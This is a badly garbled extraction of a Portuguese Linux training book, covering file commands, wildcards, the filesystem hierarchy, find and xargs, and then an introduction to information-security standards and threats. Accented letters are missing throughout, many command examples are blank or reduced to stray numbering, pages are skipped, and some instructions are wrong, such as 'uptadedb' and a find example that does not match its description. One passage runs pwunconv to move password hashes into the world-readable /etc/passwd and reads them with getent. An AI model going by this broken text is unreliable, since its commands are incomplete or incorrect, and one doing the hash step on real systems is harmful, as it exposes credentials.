FIFO - Sigla para First In, First Out, que em ingls signica primeiro a entrar, primeiro a sair. So amplamente utilizados para implementar las de espera. Os elementos vo sendo colocados no nal da la e retirados por ordem de chegada. Pipes (|) so um exemplo de implementao de FIFO. Buffer - uma regio de memria temporria, usada para escrita e leitura de dados. Normalmente, os buffers so utilizados quando existe uma diferena entre a taxa em que os dados so recebidos e a taxa em que eles podem ser processados. Socket - um meio de comunicao por software entre um computador e outro. uma combinao de um endereo IP, um protocolo e um nmero de porta do protocolo. O campo rwxr-xr-x lista as permisses, enquanto os campos root indicam quem o usurio e grupo dono desse diretrio que, no nosso caso, o administrador do sistema, o usurio root. O nmero antes do dono indica o nmero de hard links, um assunto abordado apenas em cursos mais avanados. O campo 1024 indica o tamanho do arquivo, e o campo 2007-01-15 23:17 informa a data e hora em que o diretrio foi criado. Finalmente, no ltimo campo temos o nome do arquivo ou diretrio listado, que, no nosso exemplo, o boot. Com relao aos diretrios, importante ressaltar que o tamanho mostrado no corresponde ao espao ocupado pelo diretrio e seus arquivos e subdiretrios. Esse espao aquele ocupado pela entrada no sistema de arquivos que corresponde ao diretrio. A opo -a lista todos arquivos, inclusive os ocultos:
1 2 3
Pgina 33
Aprendendo GNU/Linux
Veja que, da sada do comando anterior, alguns arquivos so iniciados por . (ponto). Esses arquivos so ocultos. No Linux, arquivos e diretrios ocultos so iniciados por um . (ponto). Listar arquivos de forma recursiva, ou seja, listar tambm os subdiretrios que esto dentro do diretrio /:
# ls -R /
Como listar os arquivos que terminam com a palavra .conf dentro do diretrio /etc?
Como buscar no diretrio raiz / todos os diretrios que terminem com a letra n?
# ls -ld /* n
1 2 3
Pgina 34
Aprendendo GNU/Linux
2.1.2.2 Curingas O signicado da palavra curinga no dicionrio o seguinte: carta de baralho, que em certos jogos, muda de valor e colocao na sequncia. No sistema GNU/Linux bem parecida a utilizao desse recurso. Os curingas so utilizados para especicar um ou mais arquivos ou diretrios. Eles podem substituir uma palavra completa ou somente uma letra, seja para listar, copiar, apagar, etc. So usados cinco tipos de curingas no GNU/Linux:
1 2 3 4 5 6 7 8 9 10 11
* - Utilizado para um nome completo ou restante de um arquivo / diret rio ; ? - Esse curinga pode substituir uma ou mais letras em determinada posi o ; ! - exclui da opera o [ padr o] - utilizado para refer ncia a uma faixa de caracteres de um arquivo / diret rio . [a -z ][ -9] - Usado para trabalhar com caracteres de a at z seguidos de um caractere de at 9. [a ,z ][1 , ] - Usado para trabalhar com os caracteres a e z seguidos de um caractere 1 ou naquela posi o . [a -z ,1 , ] - Faz refer ncia do intervalo de caracteres de a at z ou 1 ou naquela posi o . [^ abc ] - Faz refer ncia a qualquer caracter exceto a , b e c . { padr o} - Expande e gera strings para pesquisa de padr es de um arquivo / diret rio . X{ab , 1} - Faz refer ncia a sequ ncia de caracteres Xab ou X 1 . X{a -e ,1 } - Faz refer ncia a sequ ncia de caracteres Xa Xb Xc Xd Xe X1
DICA: - A barra invertida serve para escapar um caracter especial, ela conhecida tambm como backslash.
A diferena do mtodo de expanso dos demais, que a existncia do arquivo ou diretrio opcional para resultado nal. Isto til para a criao de diretrios. Os 5 tipos de curingas mais utilizados ( *, ?, [ ], , ! ) podem ser usados juntos. Vejamos alguns exemplos: Vamos criar 5 arquivos no diretrio /home/aluno utilizando o mtodo de expanso.
Pgina 35
Aprendendo GNU/Linux
1 2
1 2
# ls arq1 arq1 . txt arq2 arq2 . txt arq3 arq3 . txt arq4 arq4 . new arq5 arq5 . new
Vamos listar todos os arquivos do diretrio /home/usurio. Podemos usar o curinga * para visualizar todos os arquivos do diretrio:
1 2
# ls * arq1 arq1 . txt arq2 arq2 . txt arq3 arq3 . txt arq4 arq4 . new arq5 arq5 . new
Para listarmos todos os arquivos do diretrio /home/usurio que tenham new no nome:
1 2
Listar todos os arquivos que comeam com qualquer nome e terminam com .txt:
1 2
Listar todos os arquivos que comeam com o nome arq, tenham qualquer caractere no lugar do curinga, e terminem com .txt:
1 2
Pgina 36
Aprendendo GNU/Linux
Para listar todos os arquivos que comeam com o nome arq, tenham qualquer caractere entre o nmero 1-3 no lugar da 4 letra e terminem com .txt. Neste caso, se obtm uma ltragem mais exata, pois o curinga especica qualquer caractere naquela posio e [ ] especica um intervalo de nmeros ou letras que ser usado:
1 2
1 2
1 2 3 4 5
# # # # #
ls ls ls ls ls
Existem muitas outras sintaxes possveis para obter o mesmo resultado. A mais indicada ser sempre aquela que atender necessidade com o menor esforo possvel. A criatividade nesse momento conta muito. No exemplo anterior, a ltima forma resulta na busca mais especca. O que pretendemos mostrar como visualizar mais de um arquivo de uma s vez. O uso de curingas muito til e pode ser utilizado em todas as aes do sistema operacional referentes aos arquivos e diretrios: copiar , apagar, mover e renomear.
2.1.2.3 Criando diretrios O comando mkdir utilizado para criar um diretrio no sistema. Um diretrio uma pasta onde voc guarda seus arquivos. Exemplo: Criar o diretrio aula:
Pgina 37
Aprendendo GNU/Linux
# mkdir aula
A opo -p permite a criao de diretrios de forma recursiva. Para que um subdiretrio exista, o seu diretrio diretamente superior tem que existir. Portanto a criao de uma estrutura como /home/notas/2010/abril/semana3 exigiria a execuo de quatro comandos mkdir. Algo como:
1 2 3 4
# # # #
notas notas / abril notas / abril / bimestre notas / abril / bimestre / prova
A opo -p permite que toda essa estrutura seja criada em uma nica linha. Assim:
2.1.2.4 Removendo arquivos/diretrios O comando rm utilizado para apagar arquivos, diretrios e subdiretrios estejam eles vazios ou no. Exemplos: Remover os arquivos com extenso txt:
1 2
# cd ~ # ls
Pgina 38
Aprendendo GNU/Linux
3 4
# rm arq ?. txt # ls
1 2
A opo -i fora a conrmao para remover o arquivo arq4.new. Remover o diretrio notas:
# rm -r notas
A opo -r ou -R indica recursividade, ou seja, a remoo dever ser do diretrio notas e de todo o seu contedo.
Observao: Muita ateno ao usar o comando rm! Uma vez que os arquivos e diretrios removidos no podem mais ser recuperados!
O comando rmdir utilizado para remover diretrios vazios. Exemplos: Remover o diretrio aula:
# rmdir aula
2.1.2.5 Copiar arquivos/diretrios O comando cp serve para fazer cpias de arquivos e diretrios. Perceba que para lidar com diretrios a opo -r ou -R tem que ser usada:
Pgina 39
Aprendendo GNU/Linux
1 2 3 4 5 6 7
# cp arquivo - origem arquivo - destino # cp arquivo - origem caminho / diret rio - destino / # cp -R diret rio - origem nome - destino # cp -R diret rio - origem caminho / diret rio - destino /
Uma opo do comando cp muito til em nosso dia-a-dia a opo -p, que faz com que a cpia mantenha os meta-dados dos arquivos, ou seja, no modica a data e hora de criao, seus donos e nem suas permisses. Utilizar como root:
1 2 3 4 5 6 7
# $ $ $ # # #
su aluno touch teste ls -l exit cp -p teste teste2 cp teste teste3 ls -l teste2 teste3
2.1.2.6 Mover ou renomear arquivos/diretrios O comando mv serve tanto para renomear um arquivo quanto para mov-lo:
1 2 3 4
# mv arquivo caminho / diret rio - destino / # mv arquivo novo - nome # mv diret rio novo - nome # mv diret rio caminho / diret rio - destino /
# mv teste4 / tmp
Renomeando arquivo:
Pgina 40
Aprendendo GNU/Linux
# mv teste teste4
Renomeando diretrio:
# mv turma matematica
Movendo diretrio:
Pgina 41
Aprendendo GNU/Linux
Da estrutura mostrada acima, o FHS determina que um sistema GNU/Linux deve conter obrigatoriamente 14 diretrios, especicados a seguir:
2.3.1 Diretrio /
# ls -- color /
A opo color do comando ls serve para deixar colorido a listagem, ex: azul -> diretrio branco -> arquivo regular verde -> arquivo executvel azul claro -> link simblico
Pgina 42
Aprendendo GNU/Linux
vermelho -> arquivo compactado rosa -> imagem Este o principal diretrio do GNU/Linux, e representado por uma / (barra). no diretrio raiz que cam todos os demais diretrios do sistema. Estes diretrios, que vamos conhecer agora, so chamados de subdiretrios pois esto dentro do diretrio /.
# ls / bin
O diretrio /bin guarda os comandos essenciais para o funcionamento do sistema. Esse um diretrio pblico, sendo assim, os comandos que esto nele podem ser utilizados por qualquer usurio do sistema. Entre os comandos, esto: /bin/ls; /bin/cp; /bin/mkdir; /bin/cat; Qualquer usurio pode executar estes comandos:
1 2
# ls / boot
Pgina 43
Aprendendo GNU/Linux
No diretrio /boot esto os arquivos estticos necessrios inicializao do sistema, e o gerenciador de boot. O gerenciador de boot um programa que permite escolher e carregar o sistema operacional que ser iniciado.
# ls / dev
No diretrio /dev cam todos os arquivos de dispositivos. O GNU/Linux faz a comunicao com os perifricos por meio de links especiais que cam armazenados nesse diretrio, facilitando assim o acesso aos mesmos. Para vericar que seu mouse reconhecido como um arquivo, tente olhar o contedo do arquivo /dev/input/mice:
Repare que os dados so binrios e no possvel ler o arquivo com o comando cat. Caso seu terminal que com caracteres estranhos utilize o comando reset para resetar o shell:
# reset
Para visualizar o contedo do arquivo /dev/input/mice execute o comando od que utilizado para visualizar o contedo de um arquivo nos formatos: hexadecimal, octal, ASCII e nome dos caracteres. Este comando pode ser til para um programador que deseja criar um programa conforme o movimento do mouse.
# od / dev / psaux
Pgina 44
Aprendendo GNU/Linux
O comando hexdump utilizado para visualizar o contedo de um arquivo nos formatos: hexadecimal, octal, decimal, ASCII. Este comando pode ser til para um programador que deseja criar um programa conforme o movimento do mouse.
# ls / etc
No diretrio /etc esto os arquivos de congurao do sistema. Nesse diretrio vamos encontrar vrios arquivos de congurao, tais como: scripts de inicializao do sistema, tabela do sistema de arquivos, congurao padro para logins dos usurios, etc.
aluno :x :1
:1
Vamos dividir esta linha em campos, onde cada campo separado por : (dois pontos), ento:
Pgina 45
Aprendendo GNU/Linux
O comando more assim como o cat serve para ver o contedo de um arquivo que , geralmente, texto. A diferena entre o more e o cat que o more faz uma pausa a cada tela cheia exibindo uma mensagem --More", dando uma oportunidade ao usurio ler a tela. Aperte enter para ir para a prxima linha ou espao para ir para a prxima pgina e para sair digite q. Uma alternativa ao uso do comando more seria o uso do comando less, que implementa as mesmas funcionalidades que more e mais algumas, como a possibilidade de rolar a tela para cima e para o lado quando o texto ocupa mais de oitenta colunas. A utilizao dos comandos less e more se faz de maneira semelhante.
Este arquivo possui as senhas criptografadas dos usurios do sistema. Existe uma entada no arquivo para cada usurio do sistema com os seguintes campos:
Pgina 46
Aprendendo GNU/Linux
Apenas o usurio root (administrador do sistema) tem permisso para acessar o arquivo /etc/shadow. O comando pwconv usado para criar o arquivo shadow a partir do arquivo /etc/passwd , enquanto o comando pwunconv executa a operao inversa. Execute:
pwunconv
Verique que as senhas criptografadas esto agora no arquivo /etc/passwd atravs do comando getent:
# getent passwd
O comando getent obtm dados da base base administrativa do sistema, seguindo a ordem de busca que est no arquivo /etc/nsswitch.conf:
Pgina 47
Aprendendo GNU/Linux
1 2 3 4 5
Example configuration of GNU Name Service Switch functionality . If you have the glibc - doc - reference and info packages installed , try : 6 # info libc " Name Service Switch " for information about this file .
7 8 9 10 11 12 13 14 15 16 17 18 19 20
# # # # #
passwd : group : shadow : hosts : networks : protocols : services : ethers : rpc : netgroup :
compat compat compat files mdns4_minimal [ NOTFOUND = return ] dns mdns4 files db db db db nis files files files files
Observe a linha do passwd, o compat signica compatibilidade com o sistema, ou seja, o arquivo /etc/passwd, mas os usurios e as senhas poderiam estar armazenados em uma outra localidade, por exemplo em um servidor LDAP e se voc apenas executasse um cat /etc/passwd, no veria todos os usurios do sistema, ento sempre utilize o getent passwd porque no importa onde os dados esto armazenados ele sempre seguir a ordem de busca do arquivo /etc/nsswitch.conf. Para voltar as senhas criptografadas, execute:
# pwconv
Agora as senhas esto protegidas novamente!! Antigamente estes comandos eram utilizados para sistemas que no vinham com as senhas protegidas no /etc/shadow por padro, hoje em dia praticamente todas as distribuies trazem o arquivo como padro, ento utilizamos o comando para execuo de scripts para facilitar a captura de senhas, como por exemplo a migrao de um servidor de e-mail, onde queremos manter a senha antiga do usurio.
Pgina 48
Aprendendo GNU/Linux
# ls / lib
No diretrio /lib esto as bibliotecas compartilhadas e mdulos do kernel. As bibliotecas so funes que podem ser utilizadas por vrios programas. Cada kernel tm seus prprios mdulos, que cam em: /lib/modules/<verso do kernel>/kernel Separados por tipos em subdiretrios. Para saber sua verso do kernel execute:
1
# uname -r
# ls / media
Ponto de montagem para dispositivos removveis, tais como: hd cd dvd disquete pendrive cmera digital
Pgina 49
Aprendendo GNU/Linux
# ls / mnt
Este diretrio utilizado para montagem temporria de sistemas de arquivos, tais como compartilhamentos de arquivos entre Windows e GNU/Linux, GNU/Linux e GNU/Linux, etc.
# ls / opt
Normalmente, utilizado por programas proprietrios ou que no fazem parte ocialmente da distribuio.
# ls / sbin
O diretrio /sbin guarda os comandos utilizados para inicializar, reparar, restaurar e/ou recuperar o sistema. Isso quer dizer que esse diretrio tambm contm comandos essenciais, mas os mesmos so utilizados apenas pelo usurio administrador root. Entre os comandos esto: halt ifcong init iptables
Pgina 50
Aprendendo GNU/Linux
Os usurios comuns no podem executar comandos do /sbin que alterem o sistema, apenas alguns para visualizao. EX: Visualizar IP congurado na placa eth0: # /sbin/ifcong eth0 Alterar IP da placa de rede: # /sbin/ifcong eth0 192.168.200.100 Obs.: necessrio passar o caminho completo do comando, pois o diretrio /sbin no consta na lista de diretrios de comandos do usurio comum que denida na varivel PATH, iremos estudar esta varivel durante o curso.
# ls / srv
Diretrio para dados de servios fornecidos pelo sistema, cuja aplicao de alcance geral, ou seja, os dados no so especcos de um usurio. Por exemplo: /srv/www (servidor web) /srv/ftp (servidor ftp)
# ls / tmp
Diretrio para armazenamento de arquivos temporrios. utilizado principalmente para guardar pequenas informaes que precisam estar em algum lugar at que a operao seja completada, como o caso de um download.
Pgina 51
Aprendendo GNU/Linux
Enquanto no for concludo, o arquivo ca registrado em /tmp, e, assim que nalizado, encaminhado para o local correto. No Debian os dados so perdidos a cada reboot, j no CentOS os dados so mantidos durante doze dias aps seu ltimo acesso. Para alterar no Debian:
1 2 3 4 5 6 7
# vim / etc / default / rcS TMPTIME = SULOGIN = no DELAYLOGIN = no UTC = yes VERBOSE = no FSCKFIX = no
Altere o valor da varivel TMPTIME para o nmero de dias que desejar manter os dados aps o seu ltimo acesso. Para alterar no CentOS:
1 2 3 4 5 6 7 8 9 10 11
# vim / etc / cron . daily / tmpwatch flags =- umc / usr / sbin / tmpwatch " $flags " -x / tmp /. X11 - unix -x / tmp /. XIM - unix \ -x / tmp /. font - unix -x / tmp /. ICE - unix -x / tmp /. Test - unix \ -X / tmp / hsperfdata_ * 24 / tmp / usr / sbin / tmpwatch " $flags " 72 / var / tmp for d in / var /{ cache / man , catman }/{ cat ? , X11R6 / cat ? , local / cat ?}; do if [ -d " $d " ]; then / usr / sbin / tmpwatch " $flags " -f 72 " $d " fi done
# ls / usr
Pgina 52
Aprendendo GNU/Linux
O diretrio /usr contm programas que no so essenciais ao sistema e que seguem o padro GNU/Linux, como, por exemplo, navegadores, gerenciadores de janelas, etc.
# ls / var
O diretrio /var contm arquivos de dados variveis. Por padro, os programas que geram arquivos de registro para consulta, mais conhecidos como logs, cam armazenados nesse diretrio. Alm do log, os arquivos que esto aguardando em las, tambm cam localizados em /var/spool. Os principais arquivos que se utilizam do diretrio /var so: mensagens de e-mail arquivos a serem impressos
# ls / var / spool
arquivos de log
# ls / var / log
# ls / proc
O /proc um diretrio virtual, mantido pelo kernel, onde encontramos a congurao atual do sistema, dados estatsticos, dispositivos j montados, interrupes, endereos e estados das portas fsicas, dados sobre as redes, etc.
Pgina 53
Aprendendo GNU/Linux
Aqui, temos subdiretrios com o nome que corresponde ao PID - Process ID de cada processo. Dentro deles, vamos encontrar diversos arquivos texto contendo vrias informaes sobre o respectivo processo em execuo. Utilize os paginadores more ou less para visualiz-los:
Neste arquivo esto as informaes das IRQs dos dispositivos. Os endereos de IRQ so interrupes de hardware, canais que os dispositivos podem utilizar para chamar a ateno do processador. Na maioria das situaes, o sistema operacional simplesmente chaveia entre os aplicativos ativos, permitindo que ele utilize o processador durante um determinado espao de tempo e passe a bola para o seguinte. Como o processador trabalha a uma frequncia de clock muito alta, o chaveamento feito de forma muito rpida, dando a impresso de que todos realmente esto sendo executados ao mesmo tempo. Ao ser avisado atravs de qualquer um destes canaisde IRQ, o processador imediatamente pra qualquer coisa que esteja fazendo e d ateno ao dispositivo, voltando ao trabalho logo depois. Cada endereo uma espcie de campainha, que pode ser tocada a qualquer momento. Se no fossem pelos endereos de IRQ, o processador no seria capaz de ler as teclas digitadas no teclado, nem os clicks do mouse, a sua conexo pararia toda vez que abrisse qualquer programa e assim por diante.
o arquivo que contm a lista do registro ISA direto dos canais em uso da acesso a memria (DMA). Os canais de DMA so utilizados apenas por dispositivos de legado (placas ISA, portas paralelas e drives de disquete) para transferir dados diretamente para a memria RAM, reduzindo desta forma a utilizao do processador.
Pgina 54
Aprendendo GNU/Linux
Neste arquivo encontramos informaes sobre os endereos das portas I/O (Input/Output). Diferentemente dos endereos de IRQ, os endereos de I/O no so interrupes, mas sim endereos utilizados para a comunicao entre os dispositivos. Cada dispositivo precisa de um endereo prprio mas, ao contrrio dos endereos de IRQ, existe uma abundncia de endereos de I/O disponveis, de forma que eles raramente so um problema.
# ls / sys
Pode-se dizer que esse diretrio um primo do diretrio /proc. Dentro do diretrio /sys podemos encontrar o quase o mesmo contedo do /proc, mas de uma forma bem mais organizada para ns administradores. Esse diretrio est presente desde a verso 2.6 do kernel, ele agrupa informaes sobre os dispositivos instalados, incluindo o tipo, fabricante, capacidade, endereos usados e assim por diante. Estas informaes so geradas automaticamente pelo kernel e permitem que os servios responsveis pela deteco de hardware faam seu trabalho, congurando impressoras e criando cones no desktop para acesso ao pendrive, por exemplo.
# ls / home
/ root
Os diretrios /root e /home podem estar disponveis no sistema, mas no precisam obrigatoriamente possuir este nome. Por exemplo, o diretrio /home poderia se chamar /casa, que no causaria nenhum impacto na estrutura do sistema. O /home contm os diretrios pessoais dos usurios cadastrados no sistema. O /root o diretrio pessoal do super usurio root.
Pgina 55
Aprendendo GNU/Linux
O root o administrador do sistema, e pode alterar as conguraes do sistema, congurar interfaces de rede, manipular usurios e grupos, alterar a prioridade dos processos, entre outras. Dica: Utilize uma conta de usurio normal em vez da conta root para operar seu sistema.
Uma razo para evitar usar privilgios root regularmente, a facilidade de se cometer danos irreparveis; alm do que, voc pode ser enganado e rodar um programa Cavalo de Tria (programa que obtm poderes do super usurio) comprometendo a segurana do seu sistema sem que voc saiba.
nd [diretrio] [opes/expresso]
-name [expresso] : Procura pela [expresso] denida nos nomes de arquivos e diretrios processados.
-maxdepth [num] : Limita a recursividade de busca na rvore de diretrios. Por exemplo, limitando a 1, a busca ser feita apenas no diretrio especicado e no ir incluir nenhum subdiretrio.
Pgina 56
Aprendendo GNU/Linux
-amin [num] : Procura por arquivos que foram acessados [num] minutos atrs. Caso seja antecedido por -, procura por arquivos que foram acessados entre [num] minutos atrs e o momento atual.
# find ~ - amin -5
-atime [num] : Procura por arquivos que foram acessados [num] dias atrs. Caso seja antecedido por -, procura por arquivos que foram acessados entre [num] dias atrs e a data atual.
# find ~ - atime -1
-uid [num] : Procura por arquivos que pertenam ao usurio com o uid 1000 [num].
# find / - uid 1
-user [nome] : Procura por arquivos que pertenam ao usurio aluno [nome].
-perm [modo] : Procura por arquivos que possuem os modos de permisso [modo]. Os [modo] de permisso podem ser numrico (octal) ou literal.
Pgina 57
Aprendendo GNU/Linux
-size [num] : Procura por arquivos que tenham o tamanho [num]. O tamanho especicado em bytes. Voc pode usar os suxos k, M ou G para representar o tamanho em Quilobytes, Megabytes ou Gigabytes, respectivamente. O valor de [num] Pode ser antecedido de + ou - para especicar um arquivo maior ou menor que [num].
# find / - size +1 M
-type [tipo] : Procura por arquivos do [tipo] especicado. Os seguintes tipos so aceitos: b - bloco; c - caractere; d - diretrio; p - pipe; f - arquivo regular; l - link simblico; s - socket.
Outros exemplos: Procura no diretrio raiz e nos subdiretrios um arquivo/diretrio chamado grep ignorando caso sensitivo:
-iname - ignora case sensitive; Procura no diretrio raiz e nos subdiretrios at o 2 nvel, um arquivo/diretrio chamado grep:
Procura no diretrio atual e nos subdiretrios um arquivo com tamanho maior que 1000 kbytes (1Mbyte).:
# find . - size +1
Pgina 58
Aprendendo GNU/Linux
Procura no diretrio raiz e nos subdiretrios um arquivo que foi modicado h 10 minutos atrs ou menos:
# find / - mmin -1
Procura diretrios a partir do diretrio /etc e tambm executa um comando no resultado da busca com a opo exec, no exemplo o comando ls -ld:
- exec ls - ld {} \;
2.3.19 xargs
Outra forma de procurar por arquivos e/ou diretrios e executar um comando atravs do comando xargs que obtm como a entrada a sada ok do comando antes do pipe e envia como stdin do prximo comando, no caso o ls -ld:
| xargs ls - ld
1 2 3
1 2 3 4
# # # #
ls / > teste_xargs . txt cat teste_xargs . txt cat teste_xargs . txt | xargs -n 2 xargs -n 3 < teste_xargs . txt
Voc percebeu que no primeiro comando ele listou o diretrio, jogando na tela um nome de cada vez. O segundo comando far o mesmo s que com dois nomes na mesma linha, e o terceiro com 3 nomes.
Pgina 59
Aprendendo GNU/Linux
Tempo de execuo de um programa: time O comando time permite medir o tempo de execuo de um programa. Sua sintaxe : time [programa]. Exemplo:
Localizao usando base de dados: locate O comando locate um comando rpido de busca de arquivos, porm no usa busca recursiva na sua rvore de diretrios. Ele utiliza uma base de dados que criada pelo comando updatedb, para que a busca seja mais rpida. Por padro, a atualizao da base de dados agendado no cron do sistema para ser executada diariamente. Para utiliz-lo, primeiro necessrio criar a sua base de dados usando a seguinte sintaxe:
# uptadedb
Quando esse comando executado pela primeira vez costuma demorar um pouco. Isso deve-se a primeira varredura do disco para a criao da primeira base de dados. Para o comando locate, usamos a seguinte sintaxe:
# locate howto
1 2 3
/ usr / share / doc / python2 .4 - xml / howto . cls / usr / share / doc / python2 .4 - xml / xml - howto . tex . gz / usr / share / doc / python2 .4 - xml / xml - howto . txt . gz / usr / share / vim / vim64 / doc / howto . txt
Pgina 60
Dentro do escopo com relao ao que iremos estudar, os trs primeiros tpicos adequam-se perfeitamente ao que ser abordado ao longo do curso. No entanto, veremos esses aspectos na viso do atacante, aquele que tem por objetivo justamente subverter a segurana. E o que queremos proteger? Vamos analisar o contexto atual em primeiro lugar... Na poca em que os nobres viviam em castelos e possuam feudos, com mo de obra que trabalhavam por eles, entregando-lhes a maior parte de sua produo e ainda pagavam extorsivos importos, qual era o maior bem que possuam? Terras! Isso mesmo, quem tinha maior nmero de terras era mais poderoso e possua mais riqueza. Posto que quanto mais terras, maior a produo recebida das mos dos camponeses que arrendavam as terras de seu suserano. Aps alguns sculos, com o surgimento da Revoluo Industrial, esse panorama muda completamente... Os camponeses deixam os campos e passam a trabalhar nas fbricas, transformando-se em operrios. Quem nunca viu o lme Tempos Modernos de Chaplin? Chaplin ilustra muito bem como era a rotina desses operrios. Nessa fase da histria da civilizao, o maior ativo a mo de obra, juntamente com o capital. Quem tinha o maior nmero de operrios, trabalhando incansavelmente, detinha o poder, pois possua maior capital, gerado pela produo incessante das indstrias. No entanto, como tudo o que cclico e est em constante mudana, o cenrio mundial novamente se altera, inicialmente com o movimento iluminista. O Iluminismo, a partir do sculo XVIII, permeando a Revoluo Industrial, prepara o terreno para a mudana de paradigma que est por vir. Os grandes intelectuais desse movimento tinham como ideal a extenso dos princpios do conhecimento crtico a todos os campos do mundo humano. Supunham poder contribuir para o progresso da humanidade e para a superao dos resduos de tirania e superstio que creditavam ao legado da Idade Mdia. A maior parte dos iluministas associava ainda o ideal de conhecimento crtico tarefa do melhoramento do estado e da sociedade. E com isso, comeamos a ver, atravs de uma grande mudana de paradigma, que a deteno de informaes ou conhecimentos, que tinham algum valor, que dene quem tem o poder nas mos ou no. E surge, ento, a era da informao!
Pgina 62
Com esse acontecimento, inicia-se o surgimento da internet e a globalizao, possibilitando o compartilhamento em massa da informao. Nesse momento no mais a mo de obra, terras, mquinas ou capital que regem a economia e dita quem tem o poder, mas sim a informao, que se torna o principal ativo dessa era. Estamos na era da informao, e nada mais lgico que um corpo de conhecimento fosse criado para dar a devida ateno s anomalias e proteger esse ativo to importante. Essa rea de atuao, que j existia h muito anos, mas agora com tarefas bem mais denidas, com regras e normas a serem seguidas a Segurana da Informao, ou SI.
3.4 Padres/Normas
3.4.1 ISO 27001
Essa norma aborda os padres para sistemas de gesto de segurana da informao. Substitui a norma BS 7799-2
Pgina 63
3.4.3 Basileia II
uma norma da rea nanceira, conhecida tambm como Acordo de Capital de Basileia II. Essa norma xa-se em trs pilares e 25 princpios bsicos sobre contabilidade e superviso bancria.
3.4.4 PCI-DSS
A norma Payment Card Industry Data Security Standard, uma padronizao internacional da rea de segurana de informao denida pelo Payment Card Industry Security Standards Council. Essa norma foi criada para auxiliar as organizaes que processam pagamentos por carto de crdito na preveno de fraudes, atravs de maior controle dos dados e sua exposio.
3.4.5 ITIL
um conjunto de boas prticas para gesto, operao e manuteno de servios de TI, aplicados na infraestrutura. A ITIL busca promover a gesto de TI com foco no cliente no servio, apresentando um conjunto abrangente de processos e procedimentos gerenciais, organizados em disciplinas, com os quais uma organizao pode fazer sua gesto ttica e operacional em vista de alcanar o alinhamento estratgico com os negcios.
3.4.6 COBIT
Do ingls, Control Objectives for Information and related Technology, um guia de boas prticas, como um framework, voltadas para a gesto de TI. Inclui, em sua
Pgina 64
estrutura de prticas, um framework, controle de objetivos, mapas de auditoria, ferramentas para a sua implementao e um guia com tcnicas de gerenciamento.
Dica: o documento desta srie que equivalente ao que estamos estudando ao longo desse curso, que pode inclusive representar uma metodologia especca, o NIST 800-115.
Pgina 65
Com a facilidade de uso aumentando gradativamente, a necessidade de conhecimento de alto nvel para realizar ataques avanados tambm diminui. Se um adolescente de 12 anos procurar na internet sobre ataques de negao de servio, por exemplo, encontrar ferramentas de simples utilizao e pode facilmente derrubar um grande servidor. Aumento da complexidade para administrao de infraestrutura de computadores e gerenciamento. Quanto maior o parque computacional, mais difcil se torna seu gerenciamento, e disso surgem inmeros problemas graves, de consequncias desastrosas. Com o aumento da complexidade da infraestrutura e, consequentemente, da sobrecarga dos administradores de rede, torna-se cada vez mais difcil gerenciar tudo o que ocorre e monitorar satisfatoriamente o funcionamento da infraestrutura organizacional.
3.6.1 Condencialidade
Esse pilar o responsvel pelo controle de acesso informao apenas por aquelas pessoas ou entidade que tenham permisso compatvel com sua funo e determinada pelo dono daquela informao.
3.6.2 Integridade
Aqui, atravs dessa propriedade, determinada a necessidade de garantir que a informao mantenha todas as suas caractersticas originais como determinadas pelo proprietrio da informao.
Pgina 66
3.6.3 Disponibilidade
Propriedade que dene que determinada informao esteja sempre disponvel para o acesso quando necessrio, de maneia ntegra e dedigna. Alguns dos ataques conhecidos buscam justamente derrubar a disponibilidade, e para algumas empresas o simples fato de no ter suas informaes disponveis durante determinado perodo de tempo, isso pode acarretar prejuzos estrondosos.
3.6.4 Autenticidade
Propriedade responsvel por garantir que a informao vem da origem informada, permitindo a comunicao segura e garantia de que a informao a qual tem acesso correta e de fonte convel.
3.6.5 Legalidade
a propriedade que dene se determinada informao, ou operao, est de acordo com as leis vigentes no pas. As mesmas leis que regem um pas podem ser completamente diferentes em outro, o que pode ocasionar uma srie de problemas, caso o sistema de gesto no seja adaptvel. Podemos ver na gura a seguir alguns dos distrbios mais comuns aos pilares da SI, vinculados a ataques que visam rea de TI:
Pgina 67
O nvel de segurana desejado, pode se consubstanciar em uma poltica de segurana que seguida pela organizao ou pessoa, para garantir que uma vez estabelecidos os princpios, aquele nvel desejado seja perseguido e mantido. de extrema importncia saber equilibrar o nvel de segurana com a funcionalidade e facilidade de uso do sistema, pois o mais importante para a empresa o negcio, e a segurana existe para proteger o negcio da empresa, e no atrapalh-lo.
Pgina 68
Raios Acessos indevidos Desabamentos E no grupo das ameaas lgicas, podemos contar as seguintes: Infeco por vrus Acessos remotos rede Violao de senhas Assim como dividimos as ameaas em dois grandes grupos, os ataques tambm podem ser divididos da mesma maneira: Internos e Externos. Os ataques internos representam por volta de 70aos sistemas e redes. Mesmo que a maioria das pessoas acreditem que a maior parte dos ataques surjam de fontes externas, essa uma maneira errnea de encarar as coisas. Dentre os ataques internos, encontramos em sua maioria, aqueles realizados por funcionrios de dentro da prpria organizao, que esto insatisfeitos, buscam vingana ou participam de alguma ao de espionagem industrial, vendendo as informaes conseguidas para o concorrente. Outro tipo de ataque vindo de insiders, surge de funcionrios despreparados, que sem o devido conhecimento do funcionamento do sistema, ou das polticas organizacionais, age de maneira errnea, causando o comprometimento do sistema da empresa. Quando vamos analisar os ataques externos, novamente nos deparamos com a possibilidade de comprometimentos cujos objetivos estejam vinculados espionagem industrial, que apesar de ser ilegal, muitas organizaes recorrem a esse expediente para no car para trs, na luta pelo domnio de mercado. Outra possibilidade da origem de comprometimentos de sistemas, pode ser a curiosidade ou simplesmente o desao que representa para um cracker, cujo objetivo de comprometer o sistema, seja basicamente isso: comprometer o sistema e poder dizer que foi ele quem fez isso. Ou ento, o furto de dados que de alguma forma sejam teis para o cracker. Bons exemplos desse tipo de ataques, podem ser encontrados no livro A Arte de Invadir, de autoria de Kevin Mitnick.
Pgina 69
Exemplo de ameaa: Uma chuva de granizo em alta velocidade Exemplo de vulnerabilidade: Uma sala de equipamentos com janelas de vidro Exemplo de ataque: A chuva de granizo contra as janelas de vidro O risco ser calculado considerando a probabilidade de uma chuva de granizo em alta velocidade ocorrer e atingir a janela de vidro.
Pgina 70
Sistema de deteco de movimentos Biometria Os mecanismos fsicos de proteo, so barreiras que limitam o contacto ou acesso direto a informao ou a infra-estrutura (que garante a existncia da informao) que a suporta.
Pgina 71
